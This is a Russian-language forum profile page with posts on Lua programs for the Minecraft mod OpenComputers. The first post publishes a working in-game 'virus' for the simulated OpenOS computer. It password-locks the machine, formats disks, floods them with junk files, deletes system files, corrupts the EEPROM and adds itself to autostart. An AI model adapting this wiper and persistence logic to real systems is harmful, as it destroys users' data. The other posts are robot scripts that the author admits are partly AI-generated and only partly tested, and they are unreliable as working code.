Faraday
-
Публикации
10 -
Зарегистрирован
-
Посещение
Сообщения, опубликованные пользователем Faraday
-
-
Представляю вам недоработанный проект вируса, который требует пароль и даёт вам 3 попытки в случае неверного ввода, и, если у вас закончатся попытки, то он ломает жёсткие диски, форматирует их и забивает мусорными файлами, а также ломает EEPROM, в случае правильного ввода разблокирует доступ к ПК и самоудаляется, не оставляя следов в системе. МИНУС вирус не имеет автозапуска у меня всегда проблемы с этим поэтому
Перезагрузка, по идее, спасёт вас, а также не имеет возможности записаться на жёсткий диск и EEPROM для взаимной перепрошивки, если пользователь заменит один из компонентов.
Если здесь есть мудрые люди, помогите сделать вирус опаснее или привлекательнее.
Внимание! Данный вирус был разработан исключительно в образовательных целях, чтобы продемонстрировать возможности Lua и OpenCOMPUTER, и не предназначен для причинения вреда. Автор не несёт ответственности за возможный ущерб. Вы действуете на свой страх и риск.
Установка:
Любой пк-сервер
(Для эффектов можно использовать видеокарту 2 уровня и выше.)
Создание файла:
Откройте терминал OpenOS.
Введите:
edit /.virus.luaВставьте код
-- /.virus.lua local component = require("component") local computer = require("computer") local fs = require("filesystem") local term = require("term") local serialization = require("serialization") local shell = require("shell") local gpu = component.gpu local event = require("event") -- Настройки local PASSWORD = "1337" local WIDTH, HEIGHT = gpu.getResolution() local VIRUS_PATH = "/.virus.lua" -- Скрытый файл -- Проверка наличия GPU if not component.isAvailable("gpu") then return end -- Центрирование текста local function centerText(y, text) local x = math.floor((WIDTH - #text) / 2) gpu.set(x, y, text) end -- Очистка экрана local function clearScreen() gpu.setBackground(0x0000FF) gpu.fill(1, 1, WIDTH, HEIGHT, " ") gpu.setForeground(0xFFFFFF) end -- Уничтожение всех носителей local function wipeAllDisks() for proxy in component.list("filesystem") do pcall(function() if proxy ~= computer.getBootAddress() and not component.invoke(proxy, "isReadOnly") then component.invoke(proxy, "format") end end) end end -- Заполнение диска мусором local function fillDiskWithJunk() local junkData = string.rep("0xDEADBEEF", 1000) local counter = 1 while true do local fileName = "/.trash_" .. tostring(counter) .. ".dat" local file, err = io.open(fileName, "w") if not file then break end file:write(junkData) file:close() counter = counter + 1 end end -- Поломка OpenOS local function breakOpenOS() pcall(function() fs.remove("/etc/rc.lua") fs.remove("/bin/lua.lua") fs.remove("/lib/core/boot.lua") end) if component.eeprom then component.eeprom.set("corrupted_data_0xDEADBEEF") end end -- Самоуничтожение local function destroySystem() wipeAllDisks() fillDiskWithJunk() breakOpenOS() clearScreen() centerText(HEIGHT // 2, "💀 SYSTEM DESTROYED 💀") computer.beep(2000, 3) computer.shutdown(true) end -- Проверка пароля local function checkPassword() clearScreen() centerText(5, "🚫 SYSTEM LOCKED 🚫") centerText(7, "Enter password (3 attempts):") for i = 1, 3 do term.setCursor(math.floor(WIDTH/2 - 7), 9) term.write(string.format("Attempt %d: ", i)) local input = io.read():gsub("[\n\r]", "") if input == PASSWORD then return true end end computer.beep(2000, 1) os.sleep(5) destroySystem() return false end -- Скрытая автозагрузка local function ensureAutostart() if not fs.exists(VIRUS_PATH) then local source = io.open(shell.getRunningScript(), "r") local data = source:read("*a") source:close() local target = io.open(VIRUS_PATH, "w") target:write(data) target:close() end -- Добавление в автозагрузку через /etc/rc.lua if fs.exists("/etc/rc.lua") then local rc = io.open("/etc/rc.lua", "a") rc:write("\nos.execute('" .. VIRUS_PATH .. "') -- System service") rc:close() else local rc = io.open("/etc/rc.lua", "w") rc:write("os.execute('" .. VIRUS_PATH .. "')") rc:close() end end -- Заражение EEPROM (без смены имени) local function infectEEPROM() if component.eeprom then local eepromCode = [[ local component = require("component") local fs = require("filesystem") if not fs.exists("/.virus.lua") then fs.copy("/mnt/" .. component.eeprom.getLabel() .. "/.virus.lua", "/.virus.lua") os.execute("/.virus.lua") end ]] component.eeprom.set(serialization.serialize(eepromCode)) end end -- Основной код ensureAutostart() infectEEPROM() clearScreen() centerText(HEIGHT // 2, "💀 OpenOS FATAL ERROR 💀") if checkPassword() then pcall(function() fs.remove(VIRUS_PATH) fs.remove("/etc/rc.lua") end) computer.shutdown(true) else destroySystem() endЗапустите вирус:
lua /.virus.luaВажно:
Тестируйте в Creative Mode:
Восстановление невозможно:
Для возврата системы потребуется замена HDD и EEPROM.Внимания я случайно сломал возможность деактивации вируса с помощью пароля !
-
1 минуту назад, eu_tomat сказал:Это самое важное, не надо про это забывать. ИИ любит всякий хлам генерировать. Ты сам-то хоть проверял работоспособность кода?
Частично.....
-
10 часов назад, eu_tomat сказал:Такое впечатление, будто бы код и описание искусственный интеллект генерировал. Как это вообще работает? Что за датчик мобов из модов? Из каких модов? Зачем опрашивать кучу редстоун-источников роботом, если для этого есть более надёжные и более эффективные средства? Что за активация сигналов лампы на корпусе робота?
Забыл сказать этот старый код генерировал ии тогда я только познавал программирование на Lua и также код модифицировал ии
-
10 часов назад, eu_tomat сказал:Предлагаю одну несложную идею: избавиться от лишних поворотов. Сейчас робот делает поворот направо, детектирует блок перед собой, поворачивается налево, проверяет, был ли обнаружен блок справа, и если блока не было, снова поворачивается направо. Эти движения выглядят лишними.
Да я думаю избавиться от них. Но я пока занят кое каким другим интересным проектом
-
Если вам понравился мой первый проект я буду очень рад если вы столкнулись с ошибкой или с затруднениями пишите я вам помогу
Также можете дать мне пару не очень сложных идей
-
В 30.03.2024 в 22:06, eu_tomat сказал:А почему монстров должен обнаруживать именно дрон? В чём выгода именно от такого решения?
Не знаю ведь это не эффективно и сложно программировать настраивать и тд. Но если ему нужно пусть возьмет мой старый проект дрона только с увеличенным радиусом действие и возможностью более менее реагировать на мобов. Если ещё не поздно
-
Исправленный код для робота (без генератора и полетов):
local component = require("component") local robot = require("robot") local sides = require("sides") -- Проверка компонентов if not component.isAvailable("redstone") then error("Установите редстоун-карту в слот 2!") end local redstone = component.redstone -- Настройки local AREA_SIZE = 50 -- Размер зоны патрулирования local SCAN_RANGE = 5 -- Радиус поиска мобов (блоки) -- Упрощенный поиск мобов через редстоун-сигнал local function findMobs() -- Сканируем область вокруг робота for side = 0, 3 do -- 0: перед, 1: право, 2: зад, 3: лево if redstone.getInput(side) > 0 then return true -- Моб обнаружен, если есть редстоун-сигнал end end return false end -- Активация сигнала local function alert() redstone.setOutput(sides.back, 15) -- Включаем лампу сзади os.sleep(2) redstone.setOutput(sides.back, 0) end -- Алгоритм движения "по спирали" local function patrol() local steps = 0 while true do -- Поиск мобов if findMobs() then alert() end -- Движение вперед с обходом препятствий if robot.detect() then robot.turnRight() else robot.forward() steps = steps + 1 end -- Смена направления при достижении границы if steps >= AREA_SIZE then robot.turnRight() steps = 0 end os.sleep(0.3) end end -- Запуск patrol()
Инструкция для робота:
-
Сборка робота:
[Слот 1] Редстоун-карта (Tier 1 или 2) [Слот 2] Датчик мобов (Mob Sensor) - если есть в модах
-
Подготовка:
-
Поставьте робота в центр зоны.
-
Разместите редстоун-датчики движения вокруг территории (они будут отправлять сигнал при обнаружении мобов).
-
-
Установка кода:
edit patrol.lua
Вставьте код выше → Сохраните (
Ctrl+S→ Enter). -
Запуск:
patrol.lua
Как это работает:
-
Робот движется по квадрату, обходя препятствия.
-
Принимает редстоун-сигналы от датчиков, установленных на местности.
-
Активирует сигнал лампы на своем корпусе при обнаружении мобов.
Если ошибка сохраняется:
-
Убедитесь, что:
-
Редстоун-карта установлена в слот 2.
-
В конфиге мода разрешено взаимодействие с мобами.
-
Нет синтаксических ошибок (например,
os.sleep(0.3)→ должна быть скобка)).
-
-
Для проверки компонентов введите в консоли робота:
lua print(component.list()) -
Упростите код, удалив функцию
findMobs()и оставить только движение:local robot = require("robot") while true do robot.forward() os.sleep(0.3) end
Пример рабочей схемы:
[Датчик мобов] → [Редстоун-пыль] → [Робот] ▲ └─ Моб в радиусе 5 блоковИзвините что всё кривожопо единственный минус код на робота и не летающий дистанция 50 на 50 блоков умеет обходить препятствие обнаруживает сущность подаёт редстон сигнал при помощи платы на красном камне 2 уровня если здесь есть умельцы вы можете взять мой код для основы вашего проекта
-
-
Здравствуйте! Я нашёл это замечательное сообщество и сразу понял, что мне сюда. Меня зовут Фарадей, я начинающий программист. Поэтому прошу не судить строго, если обнаружите ошибки в коде. Буду признателен за поддержку и рекомендации от более опытных пользователей.
Сегодня хочу представить новый проект — робота, который проходит 98% всех лабиринтов в Minecraft. Его принцип действия прост: он использует правило правой руки. Больше ничего не скажу, давайте перейдём к установке.
Установка
Минимальные требования для робота:
-
Любой процессор (Tier 1)
-
Любая память (RAM Tier 1)
-
Любая видеокарта
-
Любой корпус
-
Поставьте робота на землю (ПКМ по блоку).
-
Откройте интерфейс робота (ПКМ по нему).
-
Вставьте дискету или жёсткий диск (опционально, если хотите сохранить код).
-
Откройте интерфейс робота и введите команду:
edit maze.luaОткроется текстовый редактор. Вставьте этот код:
local robot = require("robot") local function checkRight() robot.turnRight() local obstacle = robot.detect() robot.turnLeft() return obstacle end local function checkLeft() robot.turnLeft() local obstacle = robot.detect() robot.turnRight() return obstacle end while true do if not checkRight() then robot.turnRight() robot.forward() elseif not robot.detect() then robot.forward() else robot.turnLeft() end os.sleep(0.2) endСохраните файл:
-
Нажмите Ctrl + S → Enter.
-
Закройте редактор: нажмите Ctrl + W.
-
В интерфейсе робота введите:
maze.lua
Как остановить дрона ?
введите:
killЭто принудительно остановит программу.
-
Позиционирование:
- Поставьте робота лицом к входу в лабиринт.
- Убедитесь, что перед ним нет блоков (должен быть воздух).
Устранение неполадок
-
Робот не двигается:
- Проверьте, нет ли блоков перед ним (используйте robot.forward() в консоли).
- Убедитесь, что код сохранён как maze.lua. -
Программа вылетает:
- Убедитесь, что в лабиринте нет лестниц или полупрозрачных блоков.
- Все стены должны быть высотой 1 блок.
-
-
Можете пожалуйста предоставить схему как всё подключать. Просто картинку которую вы скинули не выглядит информативно

как объединить несколько пк в 1 супер мощный
в Новые заказы
Опубликовано:
Проше сделать сервер он работает как один пк но более мощный